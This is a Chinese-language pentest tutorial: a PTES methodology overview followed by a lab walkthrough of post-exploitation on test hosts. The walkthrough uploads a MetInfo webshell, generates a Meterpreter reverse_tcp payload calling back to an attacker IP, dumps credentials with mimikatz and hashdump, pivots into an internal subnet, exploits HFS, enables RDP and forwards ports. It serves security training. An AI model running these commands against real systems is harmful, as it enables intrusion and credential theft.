后渗透攻击
渗透测试就是一种通过模拟恶意攻击者的技术和方法,挫败目标系统安全控制措施,取得访问控制权,并发现具备业务影响后果安全隐患的一种安全测试与评估方法。
渗透测试过程一般需要对目标系统进行主动探测分析,以发现潜在的系统漏洞,包括不恰当的系统配置,已知或未知的软硬件漏洞,以及在安全计划与响应过程中的操作性弱点等。而这一过程需要以攻击者的角度进行实施,通常涉及对大量发现安全漏洞的主动渗透与入侵攻击。渗透测试中发现的所有安全问题,他们所带来的业务影响后果评估,以及如何避免这些问题的技术解决方案,将最终报告中呈现给目标系统的拥有者,帮助他们修补并提升系统的安全性。
渗透测试的种类
@黑盒测试
渗透测试团队将从一个远程网络位置来评估目标网络基础设施,并没有任何目标网络内部拓扑等相关信息,他们完全模拟真实网络环境中的攻击者,采用流行的攻击技术与工具,有组织有步骤地对目标进行逐步地渗透与入侵,揭示目标网络中一些已知或未知的安全漏洞,并评估这些漏洞能否被利用获取控制权或造成业务资产的损失。
黑盒测试还可以对目标组织内部安全团队的检测与响应能力做出评估。
黑盒测试是比较费时费力的,同时需要渗透测试者具备较高的技术能力。
@白盒测试
进行白盒测试的团队将可以了解到关于目标环境的所有内部与底层知识,因此这可以让渗透测试者以最小的代价发现和验证系统中最严重的安全漏洞。如果实施到位,白盒测试能够比黑盒测试消除更多的目标基础设施环境中的安全漏洞和弱点。
白盒测试无须进行目标定位和情报搜集。
白盒测试能够更加方便的在一次常规的开发与部署计划周期中集成。
白盒测试中发现和解决安全漏洞所需花费的时间和代价要比黑盒测试少许多。
白盒测试无法有效地测试客户组织的应急响应措施,也无法判断出他们的安全防护计划对检测特定攻击的效率。
渗透测试方法论-PTES
PTES 渗透测试执行标准是由安全业界多家领军企业技术专家所共同发起的,期望为企业组织与安全服务提供商设计并制定用来实施渗透测试的通用准则。
PTES 标准项目网站地址如下:
http://www.pentest-standard.org
目测现在很久没有更新了。
PTES 标准中定义的渗透测试过程环节基本上反映了安全业界的普遍认同,具体包括以下7个阶段。
- 前期交互阶段
Pre-Engagement Interaction
在前期交互阶段,渗透测试团队与客户组织进行交互讨论,最重要的是确定渗透测试的范围、目标、限制条件以及服务合同细节。
该阶段通常涉及收集客户需求、准备测试计划、定义测试范围与边界、定义业务目标、项目管理与规划等活动。
- 情报搜集阶段
Information Gathering
渗透测试团队可以利用各种信息来源于搜集技术方法,尝试获取更多关于目标组织网络拓扑、系统配置与安全防御措施的信息。
收集信息的方法包括公开来源信息查询、Google Hacking、社会工程学、网络踩点、扫描探测、被动监听、服务查点等。
- 威胁建模阶段
Threat Modeling
针对获取的信息进行威胁建模与攻击规划。通过团队共同的缜密情报分析与攻击思路头脑风暴,可以从大量的信息中理清头绪,切丁最可行的攻击通道。
- 漏洞分析阶段
Vulnerability Analysis
在确定出最可行的攻击通道之后,接下来需要考虑该如何获取目标系统的访问控制权。
渗透测试者需要综合分析前几个阶段获取并汇总的情报信息,特别是安全漏洞扫描结果、服务查点信息等,通过搜索可获取的渗透代码资源,找出可以实施渗透攻击的攻击点,并在实验环境中进行验证。
在该阶段,高水平的渗透测试团队还会针对攻击通道上的一些管家你系统与服务进行安全漏洞探测与挖掘,期望找出可被利用的未知安全漏洞,并开发出渗透代码,从而打开攻击通道上的关键路径。
- 渗透攻击阶段
Exploitation
在此环节中,渗透测试团队需要利用它们所找出的目标系统安全漏洞,来真正入侵系统当中,获得访问控制权。
渗透测试者还需要充分地考虑目标系统特性来定制渗透攻击,并需要挫败目标网络与系统中实施的安全防御措施,才能成功达成渗透目的。
在黑盒测试中,渗透测试者还需要考虑对目标系统检测机制的逃逸,从而避免造成目标组织安全响应团队的警觉和发现。
- 后渗透攻击阶段
Post Exploitation
在这个环节中,需要渗透测试团队根据目标的业务经营模式、保护资产形式与安全防御计划的不同特点,自主设计出攻击目标,识别关键基础设施,并寻找客户最具价值的尝试安全防护的信息和资产,最终达成能够对客户造成最重要业务影响的攻击途径
后渗透攻击的目标和途径是千变万化的。
- 报告阶段
Reporting
渗透测试过程最终需要向客户提交,取得认可并成功获得合同付款就是一份渗透测试报告。
这份报告凝聚了之前所有阶段之中渗透测试团队所获取的管家你情报信息、探测和发掘出的系统安全漏洞、成功渗透攻击的过程,以及造成业务影响后果的攻击途径,同时还要站在防御者的角度上,帮助他们分析安全防御体系中的薄弱环节、存在的问题以及修补与升级方案。
实战:后渗透攻击
-目标网站
使用浏览器打开测试站点[http://www.test.com]
- 信息搜集
@IP 收集
使用ping 命令初步判定ip 地址为10.10.10.201,但是显示请求超时,目标网站可能有防火墙设置。
@网站技术架构识别
根据HTTP 报文的响应头部,可以初步判断网站技术架构。
通过浏览网站信息,发现该网站使用meinfo,并且他的版本号码是5.0.4。
- 漏洞分析与利用
metinfov5.0.4 存在文件上传漏洞,可以直接使用提前写好的脚本GetShell。
Shell 地址为:
http://www.test.com/upload/file/1544783891.php
输入密码[admin],即可进入大马。
- 后渗透
后渗透就是就是扩大渗透攻击的深度与广度。其中涉及到目标系统重要资产发现,权限提升,维持访问等等操作。
@查看开放的端口
发现Web 服务器上开放的端口如下,
经过简单判断,得到如下信息
信息 |
备注 |
21 |
FTP 服务器 |
80 |
Web 服务器 |
3306 |
MySQL 数据库 |
1025、1026 |
可用于信息测探 |
8000/8001/… |
很有规律,有可能是网站 |
@用户账户信息
查看所有账户
在这里,我们可以创建一个用户并加入到管理员组,但是我个人觉得意义不大。
@查看IP地址
在WebShell 中,查看IP 地址发现是[192.168.1.100],这跟域名解析出来的地址不同。说明Web 服务器有可能在内网中。并且网关是[192.168.1.254]。
这里面我们是没有办法与192.168.1.100 直接进行通信的。我们尝试一下内网能否访问我们。嗯,可以访问,问题不大。
我们可以尝试反弹Shell ,并且使用强大的后渗透工具--Meterpreter。
Meterpreter
- 反弹Shell
@制作反弹Shell exe 文件
[msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.197 LPORT=4444 -f exe -o payload.exe]
@配置MSF
具体命令如下
-----------------------------------------------------------------
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 10.10.10.197
LHOST => 10.10.10.197
msf exploit(multi/handler) > exploit
-----------------------------------------------------------------
将生成的payload.exe 文件直接上传到目标服务器,直接运行,就可以得到Meterpreter会话。此时我们的后渗透攻击之旅,才刚刚开始。
这个Meterpreter 会话的ID 是1 ,这个是由payload.exe 文件反弹回来的Shell,如果进程结束,会丢失该会话。
- 迁移进程
[ps]查看系统进程
[migrate 3724]
- 信息收集
我们可以进一步收集Web 服务器192.168.1.100 的相关信息。
@权限查看
[getuid]
@系统信息
[systinfo]
@网络信息
@是否虚拟机
[run post/windows/gather/checkvm]
@补丁信息
[run post/windows/gather/enum_patches]
信息搜集的脚本比较多,以下列出几个。
-----------------------------------------------------------------
run post/windows/gather/checkvm
#是否虚拟机
run post/linux/gather/checkvm
#是否虚拟机
run post/windows/gather/forensics/enum_drives
#查看分区
run post/windows/gather/enum_applications
#获取安装软件信息
run post/windows/gather/dumplinks
#获取最近的文件操作
run post/windows/gather/enum_ie
#获取IE缓存
run post/windows/gather/enum_chrome
#获取Chrome缓存
run post/windows/gather/enum_patches
#补丁信息
run post/windows/gather/enum_domain
#查找域控
-----------------------------------------------------------------
@抓取明文密码
导入神器[load mimikatz]
导出密码[kerberos]
我们可以导出目标服务器的用户名和密码[Administrator/123.com]
@远程桌面与截屏
[run vnc]
直接登录目标服务器。
还有很多命令如下
-----------------------------------------------------------------
enumdesktops
#查看可用的桌面
getdesktop
#获取当前meterpreter 关联的桌面
set_desktop
#设置meterpreter关联的桌面 -h查看帮助
screenshot
#截屏
use espia
#或者使用espia模块截屏 然后输入screengrab
run vnc
#使用vnc远程桌面连接
-----------------------------------------------------------------
到此为止,这台服务器已经完全在我们的掌控之中。
- 扩大战果
@查看arp 缓存
[arp]
@查看路由信息
[route]
@添加路由
[run autoroute -s 192.168.1.0/24]
查看添加的路由信息[run autoroute -p]
@端口扫描
发现目标开启了80 端口
@版本信息测探
- 再次渗透攻击
我们发现[192.168.1.200] 这台机器上80 端口运行着HFS 服务。这个[HFS 2.3 beta]版本存在远程代码执行漏洞。我们可以再次发起渗透攻击。
@切入会话 5
@查看权限
[getuid]
@尝试提权
[getsystem]
@进程迁移
[migrate 12]
@尝试导出账户hash 值
[run hashdump]
@查看IP信息
关键信息如下
@开启远程桌面连接
[run post/windows/manage/enable_rdp]
@添加用户
@端口转发
[portfwd add -l 33891 -p 3389 -r 127.0.0.1]
@远程桌面登录
@登录成功
结束
文章来源: